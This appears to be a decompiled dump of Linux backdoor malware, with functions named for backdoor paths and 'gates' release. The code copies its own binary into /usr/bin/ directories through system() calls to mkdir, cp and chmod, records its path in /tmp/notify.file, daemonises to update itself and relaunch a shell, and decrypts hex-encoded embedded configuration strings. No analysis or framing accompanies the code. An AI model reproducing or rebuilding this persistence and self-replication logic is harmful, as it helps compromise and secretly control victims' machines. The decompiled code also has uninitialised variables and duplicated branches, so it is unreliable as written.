int32_t result = 0; // 0x807661f1
if (CFileOp__FileExists(path) == 1) {
int32_t fd = open(path, O_RDWR); // 0x80765bd
if (fd > 0) {
int32_t v1 = flock(fd, LOCK_EX | LOCK_NB); // 0x80765df
if (v1 == 0 != false) {
// 0x80765f5
flock(fd, LOCK_UN);
// branch -> 0x8076605
}
// 0x8076605
result = ((close(fd) & -256 | (int32_t)(v1 == 0)) ^ 1) % 2;
// branch -> 0x807661f
} else {
result = 0;
}
}
// 0x807661f
return result;
}
// Address range: 0x8076624 - 0x8076811
int32_t CSysTool__ReleaseGates(int32_t * a1, int32_t * a2) {
CSysTool__Mkdir(a1);
int32_t v1;
std__allocator_lt_char_gt__598(v1);
int32_t v2;
int32_t * v3;
int32_t v4;
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__691(&v2, (int32_t)a2, v1, v4, (int32_t)v3, 0);
std__allocator_lt_char_gt_();
int32_t v5 = std__string__length(&v2); // 0x80766a8
if (((int32_t)(v5 == 0) || v5 & -256) != 0) {
// 0x80766b9
CUtility__GetModuleFullPath(&v2);
// branch -> 0x80766c8
}
// 0x80766c8
int32_t v6;
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt_(&v6);
int32_t v7 = 47;
CUtility__GetPathA((char *)&v6, (int32_t)a1, (char *)&v7);
v7 = 256;
int32_t * v8;
memcpy(v8, (int32_t *)0x8103ba0, 256);
int32_t v9 = std__string__c_str(&v6); // 0x8076710
v7 = v9;
_IO_sprintf((int32_t)v8, (int32_t)"mkdir -p %s", v9);
system((char *)v8);
v7 = 256;
int32_t * v10;
memcpy(v10, (int32_t *)0x8103aa0, 256);
int32_t v11 = std__string__c_str(&v2); // 0x8076767
v7 = v11;
_IO_sprintf((int32_t)v10, (int32_t)"cp -f %s %s", v11);
system((char *)v10);
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v6);
int32_t result = std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v2); // 0x8076805
return result;
}
// Address range: 0x8076812 - 0x807684b
int32_t CSysTool__ReleaseAndStartGates(int32_t * a1) {
// 0x8076812
CSysTool__ReleaseGates(a1, (int32_t *)"");
CUtility__Sleep((int32_t *)1000);
return CSysTool__RunLinuxShell(a1);
}
// Address range: 0x807684c - 0x807690d
int32_t CSysTool__SetBeikongPathfile(void) {
int32_t fd = open("/tmp/notify.file", 578); // 0x8076860
int32_t result; // 0x8076900
if (fd >= 0) {
// 0x8076875
int32_t v1;
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt_(&v1);
CUtility__GetModuleFullPath(&v1);
std__string__length(&v1);
std__string__c_str(&v1);
__libc_write();
close(fd);
result = std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v1);
// branch -> 0x8076908
} else {
result = fd;
}
// 0x8076908
return result;
}
// Address range: 0x807690e - 0x80769ff
int32_t CSysTool__GetBeikongPathfile(int32_t result) {
int32_t v1 = g98; // 0x8076911
g95 = 256;
int32_t v2 = 256; // bp-292
int32_t * v3;
memcpy(v3, (int32_t *)0x8103cc0, 256);
int32_t v4 = (int32_t)"/tmp/notify.file"; // bp-300
__new_fopen((int32_t)"/tmp/notify.file", (int32_t)"r+");
int32_t v5 = g95; // 0x807694b
int32_t v6;
int32_t v7;
if (v5 == 0) {
// 0x807690e
v6 = (int32_t)v3;
// branch -> 0x807697c
} else {
// 0x8076954
v2 = v5;
int32_t v8 = (int32_t)v3; // 0x8076966
_IO_fgets(v8, 255, &v2, v7);
v4 = v5;
__new_fclose(&v4);
v6 = v8;
// branch -> 0x807697c
}
// 0x807697c
v4 = (int32_t)"/tmp/notify.file";
remove("/tmp/notify.file");
g98 = result;
int32_t v9;
std__allocator_lt_char_gt__598(v9);
v4 = g98;
int32_t v10;
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__691(&v4, v6, v9, v7, v10, 0);
std__allocator_lt_char_gt_();
g98 = v1;
return result;
}
// Address range: 0x8076a00 - 0x8076bd7
int32_t CSysTool__IsUnderBDDir(int32_t a1) {
int32_t * v1;
CSysTool__GetBackDoorPath(v1);
int32_t v2;
std__allocator_lt_char_gt__598(v2);
int32_t * v3;
int32_t v4;
int32_t v5;
int32_t v6;
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__691(v3, (int32_t)"/usr/bin/", v2, v6, v5, v4);
int32_t v7;
_ZStplIcSt11char_traitsIcESaIcEESbIT_T0_T1_ERKS6_S8_((char *)&v7, (char *)v3, (char *)v1);
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)v3);
std__allocator_lt_char_gt_();
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)v1);
int32_t v8;
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt_(&v8);
int32_t v9;
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt_(&v9);
CUtility__GetModuleFullPath(&v8);
int32_t v10 = std__string__c_str(&v8); // 0x8076b0f
int32_t v11 = 47; // bp-92
CUtility__GetPathA((char *)&v9, v10, (char *)&v11);
int32_t v12 = std__string__compare(&v9, &v7); // 0x8076b34
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v9);
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v8);
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v7);
return v12 == 0;
}
// Address range: 0x8076bd8 - 0x8076cdb
int32_t CSysTool__GetBackDoorFile(int32_t * a1, int32_t a2, int32_t a3) {
int32_t v1 = g98; // 0x8076bdb
int32_t result = (int32_t)a1; // 0x8076bdf
g98 = result;
int32_t v2;
std__allocator_lt_char_gt__598(v2);
int32_t * v3;
int32_t v4;
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__691((int32_t *)g98, (int32_t)"/usr/bin/", v2, v4, (int32_t)v3, 0);
std__allocator_lt_char_gt_();
int32_t * v5;
CSysTool__GetBackDoorPath(v5);
std__string__append_671(a1, v5);
std__string__append(a1, 1, 47);
std__string__append_669(a1, a2);
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)v5);
g98 = v1;
return result;
}
// Address range: 0x8076cdc - 0x8076e85
int32_t CSysTool__CheckGatesType(int32_t a1) {
// 0x8076cdc
char * v1;
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt_((int32_t *)v1);
CUtility__GetModuleFullPath((int32_t *)v1);
int32_t v2 = std__string__c_str(&g49); // 0x8076d09
int32_t * v3;
int32_t v4;
CSysTool__GetBackDoorFile(v3, v2, v4);
int32_t v5 = std__string__c_str(&g57); // 0x8076d29
int32_t v6 = std__string__c_str((int32_t *)v1); // 0x8076d3b
strcmp((char *)v6, (char *)v5);
if (((int32_t)(v6 == 0) || v6 & -256) != 0) {
// 0x8076d5b
g7 = 0;
// branch -> 0x8076e3a
// 0x8076e3a
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)v3);
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)v1);
return 0;
}
int32_t v7 = std__string__c_str(v3); // 0x8076d71
int32_t v8 = std__string__c_str((int32_t *)v1); // 0x8076d83
strcmp((char *)v8, (char *)v7);
int32_t result;
if (((int32_t)(v8 == 0) || v8 & -256) == 0) {
// 0x8076e02
if (g14 > 0) {
int32_t v9 = 0;
while (true) {
int32_t v10 = std__string__c_str((int32_t *)v1); // 0x8076dbf
char * str = g15[v9]; // 0x8076dcc
strcmp(str, (char *)v10);
int32_t v11 = (int32_t)str; // 0x8076de0
if (((int32_t)(v11 == 0) || v11 & -256) != 0) {
// 0x8076de9
g7 = 3;
// branch -> 0x8076e3a
// 0x8076e3a
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)v3);
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)v1);
return 3;
}
int32_t v12 = v9 + 1; // 0x8076e00
if (v12 >= g14) {
// break -> 0x8076e0c
break;
}
v9 = v12;
// continue -> 0x8076db8
}
// 0x8076e0c
g7 = 1;
// branch -> 0x8076e3a
// 0x8076e3a
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)v3);
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)v1);
return 1;
}
// 0x8076e0c
g7 = 1;
result = 1;
// branch -> 0x8076e3a
} else {
// 0x8076da3
g7 = 2;
result = 2;
// branch -> 0x8076e3a
}
// 0x8076e3a
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)v3);
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)v1);
return result;
}
// Address range: 0x8076e86 - 0x8076edf
int32_t CSysTool__GetBackDoorLockFile(int32_t * a1, int32_t a2) {
int32_t result = (int32_t)a1; // 0x8076e8d
g95 = result;
int32_t v1;
CSysTool__GetBackDoorFile(a1, a2, v1);
std__string__append_669(a1, (int32_t)".lock");
return result;
}
// Address range: 0x8076ee2 - 0x8076f83
int32_t CSysTool__GetSystoolPath(int32_t result) {
int32_t v1 = result; // bp-44
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt_(&v1);
v1 = result;
std__string__append(&v1, 1, 100);
v1 = result;
std__string__append(&v1, 1, 112);
v1 = result;
std__string__append(&v1, 1, 107);
v1 = result;
std__string__append(&v1, 1, 103);
v1 = result;
std__string__append(&v1, 1, 100);
return result;
}
// Address range: 0x8076f86 - 0x807708f
int32_t CSysTool__GetSystoolFile(int32_t * a1, char * a2, int32_t a3) {
// 0x8076f86
int32_t v1;
int32_t v2 = v1; // bp-20
int32_t v3 = g98; // 0x8076f89
int32_t result = (int32_t)a1; // 0x8076f8d
g98 = result;
int32_t v4;
std__allocator_lt_char_gt__598(v4);
int32_t * v5;
int32_t v6;
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__691((int32_t *)g98, (int32_t)"/usr/bin/", v4, v6, (int32_t)v5, 0);
std__allocator_lt_char_gt_();
CSysTool__GetSystoolPath(v1);
std__string__append_671(a1, &v2);
std__string__append(a1, 1, 47);
if (a2 != NULL) {
// 0x8077023
std__string__append_669(a1, (int32_t)a2);
// branch -> 0x8077051
}
// 0x8077051
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v2);
g98 = v3;
return result;
}
// Address range: 0x8077090 - 0x80772eb
int32_t CSysTool__HandleSystools(int32_t * a1) {
int32_t v1;
int32_t v2;
CSysTool__GetSystoolFile(&v1, "md", v2);
int32_t v3 = std__string__c_str(&v1); // 0x80770b5
CSysTool__Mkdir((int32_t *)v3);
int32_t result; // 0x80772de
if (g14 <= 0) {
// 0x80772d7
result = std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v1);
return result;
}
int32_t v4 = 0;
while (true) {
// 0x80770d5
int32_t v5;
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt_(&v5);
CUtility__GetFileA(&v5, (int32_t)g15[v4], 47);
int32_t v6 = std__string__c_str(&v5); // 0x8077107
int32_t * v7;
CSysTool__GetSystoolFile(v7, (char *)v6, 47);
if (CFileOp__FileExists(g15[v4]) != 0) {
int32_t v8 = std__string__c_str(v7); // 0x8077144
if (CFileOp__FileExists((char *)v8) != 1) {
// 0x807715f
int32_t * v9;
memcpy(v9, (int32_t *)0x81041e0, 1024);
std__string__c_str(v7);
char * v10 = g15[v4]; // 0x8077191
_IO_sprintf((int32_t)v9, (int32_t)"cp -f %s %s", (int32_t)v10);
system((char *)v9);
// branch -> 0x80771c0
}
// 0x80771c0
CSysTool__ReleaseGates((int32_t *)g15[v4], a1);
int32_t * v11;
memcpy(v11, (int32_t *)0x8103de0, 1024);
char * v12 = g15[v4]; // 0x80771fa
_IO_sprintf((int32_t)v11, (int32_t)"chmod 0755 %s", (int32_t)v12);
system((char *)v11);
// branch -> 0x8077250
}
// 0x8077250
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)v7);
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v5);
int32_t v13 = v4 + 1; // 0x8077296
if (v13 >= g14) {
// break -> 0x80772d7
break;
}
v4 = v13;
// continue -> 0x80770d5
}
// 0x80772d7
result = std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v1);
return result;
}
// Address range: 0x80772ec - 0x8077905
int32_t CSysTool__DoUpdate(int32_t a1, int32_t a2) {
struct struct_3 * v1 = NULL; // bp-52
struct struct_3 * v2 = NULL; // bp-21
int32_t v3;
int32_t v4 = v3; // bp-16
int32_t v5 = g102; // 0x80772ef
int32_t v6 = 0; // bp-680
int32_t v7 = daemon(1, (int32_t)g2); // 0x80772fe
int32_t result = v7 < 0; // 0x8077904_11
if (v7 < 0 == false) {
// 0x8077311
CUtility__Sleep((int32_t *)3000);
v6 = *(int32_t *)(a2 + 8);
int32_t v8;
CUtility__GetCurrentPathFile(&v8, (char *)&v6);
int32_t v9;
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt_(&v9);
CUtility__GetModuleFullPath(&v9);
int32_t v10;
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt_(&v10);
int32_t v11;
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt_(&v11);
std__allocator_lt_std__string_gt__42((int32_t)v2);
std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt_(v1, v2);
std__allocator_lt_std__string_gt_(&v2->e0);
int32_t v12;
if (a1 == 5) {
// 0x80773b0
int32_t v13;
CUtility__GetDoFun((struct struct_45 *)&v13, (struct struct_45 *)*(int32_t *)(a2 + 12));
std__string__operator_eq__675();
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v13);
int32_t * v14;
memcpy(v14, (int32_t *)0x8104600, 512);
int32_t v15 = std__string__c_str(&v11); // 0x8077437
g102 = g54;
CUtility__IntDe(atoi((char *)*(int32_t *)(a2 + 16)));
int32_t v16 = std__string__c_str(&g57); // 0x8077495
v6 = v15;
v12 = (int32_t)"%s:%d:%d:%d:%d:%s";
int32_t v17 = (int32_t)v14; // 0x80774c8
_IO_sprintf(v17, (int32_t)"%s:%d:%d:%d:%d:%s", v16);
CDjfl87__QQifu5(v3, v17, (int32_t)"Google");
std__string__operator_eq__675();
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v4);
// branch -> 0x8077535
}
int32_t * v18 = (int32_t *)(a2 + 4); // 0x807753b_0
if (atoi((char *)*v18) == 5) {
int32_t * v19 = (int32_t *)(a2 + 12); // 0x8077558_0
int32_t len = strlen((char *)*v19); // 0x807756e
int32_t v20 = *v19; // 0x8077581
int32_t v21 = std__string__c_str(&v8); // 0x807759b
v12 = 1024;
CFileOp__ModifyFile((char *)v21, (int32_t *)g54, &v12, v20, (int32_t *)-((-1 * len)));
int32_t v22 = std__string__length(&v10); // 0x80775cd
int32_t v23 = std__string__c_str(&v10); // 0x80775e2
int32_t v24 = g53; // 0x80775f0
g102 = v24;
int32_t v25 = std__string__c_str(&v8); // 0x8077603
v12 = 512;
CFileOp__ModifyFile((char *)v25, (int32_t *)v24, &v12, v23, (int32_t *)v22);
if (CSysTool__IsUnderBDDir(v6) != 0) {
int32_t v26 = std__string__c_str(&v8); // 0x8077642
CSysTool__HandleSystools((int32_t *)v26);
// branch -> 0x80777d3
}
} else {
// 0x807765b
if (atoi((char *)*v18) == 6) {
int32_t v27 = std__string__c_str(&v8); // 0x807767f
CFileOp__RemoveFile((char *)v27);
int32_t v28 = std__string__c_str(&v8); // 0x807769a
int32_t v29 = std__string__c_str(&v9); // 0x80776af
CFileOp__C0pyFile(v29, v28);
if (a1 == 5) {
int32_t * v30 = (int32_t *)(a2 + 12); // 0x80776d9_0
int32_t len2 = strlen((char *)*v30); // 0x80776ef
int32_t v31 = *v30; // 0x8077702
int32_t v32 = std__string__c_str(&v8); // 0x807771c
v12 = 1024;
CFileOp__ModifyFile((char *)v32, (int32_t *)g54, &v12, v31, (int32_t *)-((-1 * len2)));
int32_t v33 = std__string__length(&v10); // 0x807774e
int32_t v34 = std__string__c_str(&v10); // 0x8077763
int32_t v35 = g53; // 0x8077771
g102 = v35;
int32_t v36 = std__string__c_str(&v8); // 0x8077784
v12 = 512;
CFileOp__ModifyFile((char *)v36, (int32_t *)v35, &v12, v34, (int32_t *)v33);
if (CSysTool__IsUnderBDDir(v6) != 0) {
int32_t v37 = std__string__c_str(&v8); // 0x80777bf
CSysTool__HandleSystools((int32_t *)v37);
// branch -> 0x80777d3
}
}
}
}
int32_t v38 = std__string__c_str(&v8); // 0x80777da
CSysTool__RunLinuxShell((int32_t *)v38);
std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt__64((struct struct_10 *)v1);
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v11);
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v10);
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v9);
int32_t v39 = std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v8); // 0x80778f6
result = v39;
// branch -> 0x80778fe
}
// 0x80778fe
g102 = v5;
return result;
}
// Address range: 0x8077906 - 0x8077cef
int32_t CSysTool__Ikdfu94(void) {
int32_t v1;
int32_t v2 = v1; // bp-36
int32_t v3;
int32_t v4 = v3; // bp-32
int32_t v5;
int32_t v6 = v5; // bp-12
int32_t v7 = g100; // 0x8077906
int32_t v8 = g98; // 0x8077909
if (g7 == 3) {
// 0x8077cea
g98 = v8;
g100 = v7;
return 3;
}
// 0x807791b
int32_t v9;
int32_t result = CSysTool__IsUpdateTemporary(v9); // 0x807791b
if (result != 0) {
// 0x8077cea
g98 = v8;
g100 = v7;
return result;
}
// 0x8077928
int32_t v10;
CUtility__EString(v5, (int32_t)"27B911051397CEFFF467389F1363F3E3CEC318FA41B6FCE748AF59E261BDBDF9BE5AEA357CAACA7F85CB800609757E0D8C34A309105E9634471EF908D3C2CEBCB1ECCD74AD64053AB99633030BB9DEE6B466C1114ABB5543DEC69D493742FA786681882274F8ADC3DF19AB2FAEEAE9C21390BA7147FFBB097551901A1E9B7946OB30FCC058F1A7AA50C2E4D36FADDED84B9720B1F61B2DB85B9E812E59626090B4D114B6059BC42D203599B4D3350D1F50533611FECA8E1FB6741FAF804FFA9C7DCEB1ECFF9148F9065BF8AAF23A6676411632BCE31A272650024FFA674904B8FBAF2482C850ADEB8C1D50769BCE54CDA2C69541236A2AFAA3F57AA7337E659D", v10);
std__string__operator_eq__675();
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v6);
int32_t v11 = std__string__c_str(&g46);
int32_t ** v12;
CUtility__Split((struct struct_3 *)v12, (char *)&v11, 79);
int32_t v13 = std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___size(v12); // 0x80779ad
if (((int32_t)(v13 == 2) || v13 & -256) != 1) {
// 0x80779bf
g95 = 0;
abort();
// UNREACHABLE
}
struct struct_18 * v14 = g2; // 0x80779d3_4
int32_t v15 = std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___operator_lsb__rsb_(v12, &v14->e0); // 0x80779d3
int32_t v16;
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__636(&v16, (int32_t *)v15);
UYT54(v3);
Uidi(v1);
int32_t v17 = 2; // 0x8077a323
char v18 = 1;
int32_t v19; // 0x8077aa2
int32_t v20; // 0x8077ac3
int32_t v21; // 0x8077b0b
int32_t v22; // 0x8077b17
int32_t v23; // 0x8077b39
int32_t v24; // 0x8077b45
int32_t v25; // 0x8077b67
int32_t v26; // 0x8077b73
int32_t v27; // 0x8077bb7
int32_t v28; // 0x8077bc3
int32_t str_as_i; // 0x8077bcf
int32_t result2; // 0x8077ce2
int32_t v29;
char * v30;
if (g7 != 2) {
int32_t v31 = CSysTool__IsUpdateTemporary(v11); // 0x8077a13
int32_t v32 = v31 ^ 1; // 0x8077a324
if (v31 == 1) {
int32_t v33 = CSysTool__IsUnderBDDir(v11); // 0x8077a1f
if (v33 != 0) {
// 0x8077a32
if (((int32_t)1 || v33 & -256) != 0) {
// 0x8077a39
std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___operator_lsb__rsb_(v12, (int32_t *)1);
std__string__operator_eq__675();
// branch -> 0x8077a5a
}
// 0x8077a5a
if (std__string__empty(&v16) == 1) {
// 0x8077c51
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v2);
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v4);
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v16);
result2 = std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt__64((struct struct_10 *)v12);
// branch -> 0x8077cea
// 0x8077cea
g98 = v8;
g100 = v7;
return result2;
}
// 0x8077a74
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt_(&v29);
Mid89((struct struct_59 *)&v29, v16, v4, v2, v11);
v19 = std__string__c_str(&v29);
CUtility__Split((struct struct_3 *)v30, (char *)v19, 58);
v20 = std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___size((int32_t **)v30);
if (((int32_t)(v20 == 6) || v20 & -256) != 1) {
// 0x8077ad5
g95 = 0;
abort();
// UNREACHABLE
}
// 0x8077ae0
std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___operator_lsb__rsb_((int32_t **)v30, &v14->e0);
std__string__operator_eq__675();
v21 = std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___operator_lsb__rsb_((int32_t **)v30, (int32_t *)1);
v22 = std__string__c_str((int32_t *)v21);
g8 = atoi((char *)v22);
v23 = std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___operator_lsb__rsb_((int32_t **)v30, (int32_t *)2);
v24 = std__string__c_str((int32_t *)v23);
g9 = atoi((char *)v24);
v25 = std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___operator_lsb__rsb_((int32_t **)v30, (int32_t *)3);
v26 = std__string__c_str((int32_t *)v25);
g59 = atoi((char *)v26);
std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___operator_lsb__rsb_((int32_t **)v30, (int32_t *)4);
std__string__operator_eq__675();
v27 = std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___operator_lsb__rsb_((int32_t **)v30, (int32_t *)5);
v28 = std__string__c_str((int32_t *)v27);
str_as_i = atoi((char *)v28);
g52 = ((int32_t)(str_as_i == 0) | str_as_i & -256) ^ 1;
std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt__64((struct struct_10 *)v30);
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v29);
// branch -> 0x8077c51
// 0x8077c51
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v2);
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v4);
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v16);
result2 = std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt__64((struct struct_10 *)v12);
// branch -> 0x8077cea
// 0x8077cea
g98 = v8;
g100 = v7;
return result2;
}
v32 = 0;
}
// 0x8077a2e
v17 = v32;
v18 = 0;
// branch -> 0x8077a32
}
// 0x8077a32
if (((int32_t)v18 || v17 & -256) != 0) {
// 0x8077a39
std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___operator_lsb__rsb_(v12, (int32_t *)1);
std__string__operator_eq__675();
// branch -> 0x8077a5a
}
// 0x8077a5a
if (std__string__empty(&v16) == 1) {
// 0x8077c51
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v2);
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v4);
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v16);
result2 = std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt__64((struct struct_10 *)v12);
// branch -> 0x8077cea
// 0x8077cea
g98 = v8;
g100 = v7;
return result2;
}
// 0x8077a74
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt_(&v29);
Mid89((struct struct_59 *)&v29, v16, v4, v2, v11);
v19 = std__string__c_str(&v29);
CUtility__Split((struct struct_3 *)v30, (char *)v19, 58);
v20 = std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___size((int32_t **)v30);
if (((int32_t)(v20 == 6) || v20 & -256) != 1) {
// 0x8077ad5
g95 = 0;
abort();
// UNREACHABLE
}
// 0x8077ae0
std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___operator_lsb__rsb_((int32_t **)v30, &v14->e0);
std__string__operator_eq__675();
v21 = std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___operator_lsb__rsb_((int32_t **)v30, (int32_t *)1);
v22 = std__string__c_str((int32_t *)v21);
g8 = atoi((char *)v22);
v23 = std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___operator_lsb__rsb_((int32_t **)v30, (int32_t *)2);
v24 = std__string__c_str((int32_t *)v23);
g9 = atoi((char *)v24);
v25 = std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___operator_lsb__rsb_((int32_t **)v30, (int32_t *)3);
v26 = std__string__c_str((int32_t *)v25);
g59 = atoi((char *)v26);
std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___operator_lsb__rsb_((int32_t **)v30, (int32_t *)4);
std__string__operator_eq__675();
v27 = std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___operator_lsb__rsb_((int32_t **)v30, (int32_t *)5);
v28 = std__string__c_str((int32_t *)v27);
str_as_i = atoi((char *)v28);
g52 = ((int32_t)(str_as_i == 0) | str_as_i & -256) ^ 1;
std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt__64((struct struct_10 *)v30);
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v29);
// branch -> 0x8077c51
// 0x8077c51
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v2);
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v4);
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v16);
result2 = std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt__64((struct struct_10 *)v12);
// branch -> 0x8077cea
// 0x8077cea
g98 = v8;
g100 = v7;
return result2;
}
// Address range: 0x8077cf0 - 0x8077f1d
int32_t CSysTool__Ower6msf(int32_t a1) {
int32_t v1;
int32_t v2 = v1; // bp-12
int32_t v3;
CUtility__EString(v1, (int32_t)"681A1C1543072E0140491F162F0B55545C55775F55565E57745E5D545652705D5E55585F70585C5659577D0C09545957750E09505F5C7F0909", v3);
std__string__operator_eq__675();
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v2);
int32_t v4 = std__string__c_str(&g45); // bp-76
int32_t v5;
CDjfl87__QQifu6((struct struct_59 *)&v5, (struct struct_59 *)&v4, (int32_t)"Google");
int32_t v6 = std__string__c_str(&v5); // 0x8077d7f
v4 = 58;
char * v7;
